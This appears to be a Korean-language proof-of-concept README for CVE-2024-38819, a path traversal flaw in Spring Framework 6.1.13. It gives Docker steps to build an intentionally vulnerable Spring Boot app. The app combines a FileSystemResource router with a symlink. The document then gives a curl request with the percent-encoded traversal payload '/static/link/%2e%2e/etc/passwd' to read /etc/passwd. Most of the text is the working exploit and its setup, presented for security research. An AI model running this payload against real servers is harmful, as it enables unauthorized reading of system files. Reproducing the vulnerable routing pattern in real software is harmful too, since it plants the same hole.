
이것은 제가 보고한 CVE-2024-38819 취약점에 대한 개념 증명(PoC)으로, 경로 탐색(path traversal) 공격을 시연합니다.
Docker 이미지를 빌드합니다 (Spring Boot 3.3.4, Spring Framework 6.1.13 기반)
cd vuln
docker build -t cve-2024-38819-poc .
컨테이너를 실행하고 포트 8080을 호스트 머신에 노출합니다
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
다음 명령을 실행하여 PoC를 실행하고 취약점을 확인합니다
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
공격이 성공하면 /etc/passwd 파일의 내용이 표시됩니다.
RouterFunction과 FileSystemResource를 사용하여 정적 파일 라우팅을 설정하려면 다음 코드로 PathTraversalDemoApplication.java를 생성합니다:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
심볼릭 링크를 생성하려면 Dockerfile에 다음 명령을 추가합니다:
RUN ln -s /static /app/static/link
퍼센트 인코딩(percent-encoding)을 활용하여 심볼릭 링크를 통해 디렉터리를 탐색하는 페이로드를 생성합니다.
/static/link/%2e%2e/etc/passwd다음 curl 명령을 사용하여 PoC를 실행하고 공격 성공 여부를 확인합니다:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
공격이 성공하면 /etc/passwd 파일의 내용이 표시됩니다.
이 PoC는 교육 및 보안 연구 목적으로 제공됩니다. 실제 시스템에서 사용하기 전에 취약점이 패치되었는지 확인하고 적절한 권한이 있는지 확인하십시오. 저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.